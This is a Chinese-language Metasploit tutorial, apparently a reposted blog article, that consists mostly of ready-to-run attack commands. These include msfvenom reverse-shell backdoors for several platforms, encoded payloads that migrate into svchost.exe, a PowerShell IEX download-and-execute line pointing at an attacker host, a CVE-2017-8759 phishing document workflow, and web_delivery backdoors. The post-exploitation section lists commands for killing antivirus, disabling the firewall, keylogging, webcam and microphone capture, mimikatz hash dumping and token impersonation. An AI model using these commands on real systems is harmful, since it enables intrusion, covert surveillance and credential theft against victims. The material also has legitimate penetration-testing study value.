Metasploit (MSF) 使用:包含基本使用、payload生成、后渗透模块使用

这篇具有很好参考价值的文章主要介绍了Metasploit (MSF) 使用:包含基本使用、payload生成、后渗透模块使用。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

博主根据日后学习会不断更新文章,后续用到新的功能会不定时更新。

以下内容只供学习使用,请勿违法使用!


目录

一、常用指令

二、监听模块

2.1 防止假session

2.2 实现后台持续监听

三、msfvenom(payload生成模块)

3.1 参数介绍

3.2 常用指令

3.3 payload 生成

3.3.1 Linux

3.3.2 Windows

3.3.3 Mac

3.3.4 Android

3.4 payload 可持续化

3.5 脚本 payload 生成

3.5.1 Powershell

3.6 Powershell 配合 msf 无文件攻击

3.7 msf 宏钓鱼攻击

3.8 multi/script/web_delivery 模块

3.8.1 实例

3.9 建立隧道通过公网后门连接

四、后渗透模块

4.1 常用模块


一、常用指令

msfconsole: 启动msf
use: 引用msf模块  // use 模块名
search: 搜索模块
show: 查看选项 		//当进入模块可是使用show option查看模块需要的参数选项,使用show targets和show payloads可查看target和payload选项参数
set: 设置选项参数
session: 操作msf session会话命令
				session -i id: 使用该session
				session -l: 列出所有session id
				如果需要退出删除session会话可以使用session -k 会话号,同样使用-K可以删除全部session会话
jobs: 查看msf后台监听选项
				jobs -K: 删除全部监听
				jobs -k 监听id: 删除指定监听
其他命令: cd, pwd, ls等等就等同于终端命令大部分都可以直接使用

二、监听模块

2.1 防止假session

实战中,经常会遇到假session或者刚连接就断开的情况,这里需要补充一些监听参数,防止假死或假session
msf6 exploit(multi/handler) > set ExitOnSession false
可以在接收到session后继续监听端口,保持侦听

2.2 实现后台持续监听

方法一:
msf6 exploit(multi/handler) >exploit -j -z
使用exploit -j -z 可以在后台持续监听,-j为后台任务,-z为持续监听
方法二:
msf6 > handler -H 192.168.1.1 -P 1122 -p windows/meterpreter/reverse_tcp

使用jobs命令查看和管理后台任务,jobs -K可结束所有任务,jobs -k 任务号 结束指定监听

三、msfvenom(payload生成模块)

   新版本中,msfwenom是老版本msfpayload和mafencode的结合体,用于创建后门程序,建立会话连接。

3.1 参数介绍

-l, --list      <type>				列出指定模块的所有可用资源,包括:payloads,encodes,nops,all
-p, --payload   <payload> 		指定所需要使用的payload,也可以使用自定义payload,几乎支持全平台
-f, --format    <format>			指定输出格式
-e, --encoder   <encoder>			指定需要使用的encode,指定需要使用的编码
-a, --arch      <arch>				指定payload的目标架构,例如x86|x64|x86_64
--platform      <platform>		指定payload的目标平台
-o, --out       <path>				指定创建好的payload存放位置
-b, --bad-chars <list>				设置规避字符集,指定需要过滤的坏字符例如:不使用'\x0f','\x00'
-n, --nopsled   <length>			为payload预先指定一个NOP滑动长度
-s, --space     <length>			指定有效攻击和在的最大长度,就是文件的大小
-i, --iterations<count>				指定payload的编码次数
-c, --add-code  <path>				指定一个附加的win32shellcode文件
-x, --template  <path>				指定一个自定义的可执行文件作为模版,并将payload嵌入其中
-k, --keep										保护模版程序的动作,注入的payload作为一个新的进程运行
-v, --var-name  <value>				指定一个自定义的变量,以确定输出格式
-t, --timeout   <second>			从STDIN读取负载时等待的秒数(默认值为30,0表示禁用)
--shellest										最小化生成payload
-h, --help										帮助
--help-formats 								查看msf支持的输出格式列表

3.2 常用指令

msfvenom --list payloads		查看所有的payload,可以简写   -lp
msfvenom --list encoders		查看所有编码器,同样可以简写    -le
background: 挂起退出不结束远控
run vnc: vnc远程监视,修改配置可以实现远程监视和远程操作
getuid: 获取系统uid
getsystem: 获取system权限

3.3 payload 生成

  指定的LHOST,LPORT均为攻击者主机监听的IP和端口,可以不使用-o进行指定输出,直接使用>一样可以输出后门文件。

3.3.1 Linux

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=1122 -f elf > shell.elf

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=1122 -a x86 --platform Linux -f elf > shell.elf

3.3.2 Windows

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=1122 -f exe > shell.exe

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=1122 -f exe > shell.exe

3.3.3 Mac

msfvenom -p osx/x86/shell_reverse_tcp LHOST=192.168.1.1 LPORT=1122 -f macho > shell.macho

3.3.4 Android

msfvenom -a dalvik -p android/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=1122 -f raw > shell.apk

msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=1122 R > shell.apk

3.4 payload 可持续化

一般来说使用msfvenom生成的payload会单独开启一个进程,这种进程很容易被发现和关闭,在后期想要做持久化的时候只能再使用migrate进行。
在生成payload时候可以直接使用一下命令,将payload直接注入到指定进程中。

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=1122 -e x86/shikata_ga_nai -b "\x00" -i 5 -a x86 --platform win PrependMigrate=true PrependMigrateProc=svchost.exe -f exe -o shell.exe
解释:
p: 指定payload模块
LHOST LPORT: 指定监听的主机IP和端口
e i: 指定编码格式和编码次数
b: 指定坏字符
a: 指定目标架构
platform: 指定操作系统
PrependMigrate=true: 指定进程迁移
PrependMigrateProc=svchost.exe: 指定迁移的进程名称
f: 指定文件格式
o: 指定保存名默认保存当前目录

执行这个生成的payload需要满足第一系统权限可以对进行进行迁移,第二知道进程名称

3.5 脚本 payload 生成

3.5.1 Powershell

msfvenom -a x86 --platform Windows -p windows/powershell_reverse_tcp LHOST=192.168.1.1 LPORT=1122 -e cmd/powershell_base64 -i 3 -f raw -o shell.ps1

3.6 Powershell 配合 msf 无文件攻击

生成ps脚本:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=1122 -f psh-reflection > x.ps1
设置监听:
handler -H 192.168.1.2 -P 1122 -p windows/x64/meterpreter/reverse_tcp
客户端运行即可连接
powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.4/x.ps1')

注意:该功能配合钓鱼文件,或者getshell后才可利用

3.7 msf 宏钓鱼攻击

// 使用环境
// 攻击主机:ubuntu 安装有msf
// 目标主机:windows7
1、提前下载生成钓鱼文件的脚本
https://github.com/bhdresh/CVE-2017-8759.git
2、在当前目录生成 lnvoice.rtf钓鱼文件
python2 cve-2017-8759_toolkit.py -M gen -w lnvoice.rtf -u http://10.1.101.3/logo.txt
3、在在当前文件夹使用msf生成木马文件
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.1.101.3 LPORT=1122 -f exe > shell.exe
4、msf和python钓鱼脚本同时开启监听
	python钓鱼脚本开启监听  //监听为本级80端口需提前排查是否被占用
	python2 cve-2017-8759_toolkit.py -M exp -e http://10.1.101.3/shell.exe -l shell.exe
	msf开启监听
	handler -H 10.1.101.3 -P 1122 -p windows/x64/meterpreter/reverse_tcp
5、目标主机运行invoice.rtf即可在msf看到主机成功上线

注意:
生成的文件均在同一目录,使用的python环境为python2,只是提供学习,目前该钓鱼文件运行会被系统拦截,需要提前关闭防火墙,如果成功上线主机,可以使用进程迁移,迁移到指定进程,避免文件关闭session会话关闭。

msf设置payload,安全,网络,网络安全,网络攻击模型

msf设置payload,安全,网络,网络安全,网络攻击模型

msf设置payload,安全,网络,网络安全,网络攻击模型
msf设置payload,安全,网络,网络安全,网络攻击模型

msf设置payload,安全,网络,网络安全,网络攻击模型

msf设置payload,安全,网络,网络安全,网络攻击模型

3.8 multi/script/web_delivery 模块

  该模块为脚本后门模块,可以做钓鱼使用,生成的为脚本命令,属于无文件后门。

  1. 模块引用:
    // 可以通过search搜索然后use引用也可以直接输入全程urs引用
    search web_delivery
    use 1
  2. 设置参数:需要设置LHOST、LPORT、payloads、targets
    // 使用show命令进行查看选项可以配置的参数
    配置LHOST(攻击者IP): set lhost 192.168.3.179
    配置LPOER(攻击者prot): set lport 1122
    配置payloads(攻击的方式): set payload windows/meterpreter/reverse_tcp
    配置targets(攻击使用的命令类型): show targets
    	选择执行的方式改种payload支持:PHP、PSH、Regsvr3等方式
    	set target 6 设置target
    设置完成后直接使用run生成后门命令
    msf设置监听: handler -H 192.168.3.179 -P 1122 -p windows/meterpreter/reverse_tcp
    目标主机运行命令即可上线

3.8.1 实例

1、window生成powershell命令上线
设置主机以及端口处省略
设置payload: set payload windows/meterpreter/reverse_tcp
设置target: show targets、set target 6  //此时6代表的是:PSH (Binary)
设置完成直接run,使用jobs可以看到本地已经在监听当前设置的端口,在目标主机运行即可上线
2、windows Regsvr32命令上线主机
设置主机以及端口处省略
设置payload: set payload windows/meterpreter/reverse_tcp
设置target: show targets、set target 3  //此时3代表的是:Regsvr32
设置完成直接run,使用jobs可以看到本地已经在监听当前设置的端口,在目标主机运行即可上线
3、php环境使用php.exe执行命令上线  //此时需要另外一个php payload
设置主机以及端口处省略
设置payload: set payload php/meterpreter/reverse_tcp
设置target: show targets、set target 1  //此时1代表的是:PHP
设置完成直接run,使用jobs可以看到本地已经在监听当前设置的端口,在目标主机运行即可上线

// 更改模块需要从新开启另一个监听,注意端口不可以重复需要修改端口
// 如果设置好payload执行失败,需要更该payload为x64,从新按照以上步骤执行
// set payload windows/x64/meterpreter/reverse_tcp

3.9 建立隧道通过公网后门连接

  此时需要借助网址:https://ngrok.cc/获取免费隧道,让目标主机与网站隧道建立连接然后通过隧道最终与攻击机建立连接

  根据网站介绍自行配置隧道

  以window 后门为例

启动隧道: ./sunny clientid 隧道id
直接使用: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=1122 -f exe > shell.exe
LHOST: set LHOST 隧道地址			//可以对获取的隧道地址进行域名解析填写IP可以避免域名解析失败
LPORT: set LPORT 隧道端口
配置监听: handler -H 127.0.0.1 -P 10503 -p windows/meterpreter/reverse_tcp

// 同样如果执行失败可以更好x64再次尝试

四、后渗透模块

  在msf建立监听连接后,使用session获取的会话,此时就需要使用后渗透模块-meterpreter,并不是建立会话后后渗透模块都可以使用,还需要根据实际情况目标的操作系统以及获取的权限使用。文章来源地址https://www.toymoban.com/news/detail-726658.html

4.1 常用模块

1、获取系统运行平台: sysinfo
2、提取系统信息: run scraper
3、查看进行: ps
4、迁移进行: migrate 1774
5、查看文件: cat 文件
6、查看当前路径: pwd
7、搜索文件: search -d c:\\ -f *.doc
8、其他命令类似于Linux命令: cd, rm, mkdir, rmdir, dir, mv等等
9、上传文件: upload 本机路径 上传目标路径
10、下载文件: download 目标路径 本机路径
11、进程迁移: run post/windows/manage/migrate
12、关闭杀软: run post/windows/manage/killav
13、通过shell来关闭防火墙: netsh advfirewall set allprofiles state off 
14、截屏: screenshot
15、查看桌面: run vnc
16、开启3389: run post/windows/manage/enable_rdp
17、提权模块: mult/recon/local_exploit_suggester 设置过去的session ID
				 执行之后会返回可以提权的模块,然后进行调用,设置session提权,成功会返回新的会话
18、运行程序: execute -f notepad.exe 加H可以进行隐藏运行
19、摄像头命令:
					音频录制: record_mic
					查看摄像头接口: webcam_chat
					查看摄像头列表: webcam_list
					摄像头视频获取: webcam_stream
20、端口转发: 作用如果目标机器在内网开放3389,外网无法连接,这个时候进行端口转发,利用会话将目标机器3389转发到本地,实现3389远程连接
					-L: 要监听的本地主机ip(可选)
					-h: 帮助
					-l: 要监听的本地端口
					-p: 要连接到的远程端口
					-r: 要连接的远程主机ip
					portfwd add -l 4444 -p 3389 -r 10.211.55.7 // 把目标机10.211.55.7的3389端口转发到本机127.0.0.1的4444端口,直接进行连接本机4444端口即可3389远程连接,同样如果本地两台电脑,另一台电脑直接远程访问开启4444主机的IP+4444可以直接进行连接,,,,注意端口转发并不需要高权限上线就可以直接转发。
21、键盘记录:
				keyscan_start: 开启键盘记录功能
				keyscan_dump: 显示捕捉的键盘记录信息
				keyscan_stop: 停止键盘记录
21、获取hash值: load mimikatz(32位)load kivi(64位)此时调用完成就直接可以使用该模块的命令,但是使用该命令需要拥有系统system权限,同样也可以使用hashdump导出
22、盗取身份令牌: use incognito
					list_tokens -u: 列出目标主机用户组可用的令牌,有的话可以直接进行身份切换
					list_tokens -g: 列出目标主机用户组可用的令牌,有的话可以直接进行身份切换
					impersonate_token LUCKYXBDC6\luckyx: 切换令牌身份

到了这里,关于Metasploit (MSF) 使用:包含基本使用、payload生成、后渗透模块使用的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 一、初识Metasploit(MSF使用详解超详细)

    前言 :Metasploit是The Metasploit Framework的简称,也可以叫做MSF! MSF高度模块化即框架由多个module组成,是全球最受欢迎的工具。 Metasploit Framework(MSF)远远不仅仅是一个漏洞的集合。这是您可以建立和利用您的自定义需求的基础架构。这使您可以专注于您独特的环境,而不必重新

    2024年02月08日
    浏览(71)
  • msf渗透练习-生成木马控制window系统

    说明: 本章内容,仅供学习,不要用于非法用途(做个好白帽) (一)生成木马 命令: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.23.46 LPORT=4444 -e x86/shikata_ga_nai -f exe -o shell.exe -i 5 -p:设置payload,也就是要生成的可执行文件的类型和功能,这里选择的是Windows Meterpreter反向

    2024年02月08日
    浏览(32)
  • 【MSFconsole进阶】Payload(攻击载荷模块):payload分类、相关命令、使用方法

    目录 一、简介: 1.1、payload(攻击载荷): 1.2、Shellcode: 二、payload分类 2.1、singles(独立载荷) 2.2、stagers(传输器载荷) 2.2.1、简介: 2.2.2、特点: 2.2.3、分类: 2.3、stages(传输体载荷) 2.3.1、简介: 2.3.2、示例: 三、相关命令 四、使用方法: 4.1、方法一: 4.2、方法二

    2023年04月08日
    浏览(24)
  • Metasploit Framework(MSF)基础框架

    Metasploit框架(Metasploit Framework,MSF)是一个开源工具,旨在方便渗透测试,它是由Ruby程序语言编写的模板化框架,具有很好的扩展性,便于渗透测试人员开发、使用定制的工具模板。 常见名词解释: POC : Proof of Concept ,概念证明,用来证明漏洞存在的一段代码,没有攻击性

    2024年02月08日
    浏览(30)
  • metasploit完整的使用流程包括meterpreter后渗透

    主机为win10 auxiliary/scanner/discovery/arp_sweep 确认主机是否存活 auxiliary/scanner/ftp/ftp_version auxiliary/scanner/http/http_version 开启服务 再次扫描 auxiliary/scanner/smb/smb_version 查看是否有ms17_010漏洞 利用辅助模块,扫描该主机是否有该漏洞 加载 永恒之蓝漏洞利用模块 use exploit/windows/smb/ms17_

    2024年02月04日
    浏览(39)
  • [课业] | 软件安全 | 使用渗透性工具Metasploit进行漏洞测试

    1.1 渗透测试技术的核心思想 渗透测试(Penetration Test)技术的核心思想是模仿黑客的特定攻击行为,也就是尽可能完整地模拟黑客使用的漏洞发现技术和攻击手段,对目标的安全性做深入的探测,发现系统最脆弱环节的过程。 渗透测试可以选择使用自动化测试工具,测试人员的

    2024年02月04日
    浏览(47)
  • 【2023最新版】超详细Metasploit安装保姆级教程,Metasploit渗透测试使用,看完这一篇就够了

    Metasploit 官方介绍 Metasploit是一个渗透测试框架,可以帮助您发现和利用漏洞。 Metasploit还为您提供了一个开发平台,您可以编写自己的安全工具或利用代码。 今天,我将指导您了解如何使用Metasploit的基础知识:如何安装Metasploit,使用框架以及利用漏洞。 下载地址:https://

    2024年02月13日
    浏览(57)
  • 肥肠恐布--探索Kali Linux中的Metasploit Framework(MSF听说肾透大佬经常用)

    请注意,在使用Metasploit Framework进行渗透测试和漏洞利用时,务必遵守合法和授权的原则,此文仅供大家学习参考,请确保您获得了适当的授权,并遵守法律和合规性要求。非法使用和滥用导致严重的法律后果自负。 目录 前言 一、什么是Metasploit Framework(MSF)? 二、Metaspl

    2024年02月15日
    浏览(36)
  • Metasploit渗透测试框架基础

    简介: Metaspolit是一个渗透测试框架,属于框架,是模块化组成的,是一个免费的可下的框架,通过它可以很容易的获取、开发并对计算机软件漏洞实现 metaspliot时候,计算机安全状况就永久的改变了 MSF:The Metasploit Framework Metasploit是一款开源的安全的漏洞检测工具,可以帮助

    2024年02月04日
    浏览(31)
  • Metasploit渗透测试框架

    一下笔记为观看课程得出https://www.bilibili.com/video/BV127411c7yE?p=6spm_id_from=pageDrivervd_source=5294f3174c841de416fef55d145e1e28 基于TCP协议收集主机信息 开放端口扫描db_nmap 查询网段内在线存活的主机 展示效果查询结果如下: 半连接的方式进行半连接扫描 使用auxiliary/sniffer下的psunffle模块进

    2024年02月10日
    浏览(40)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包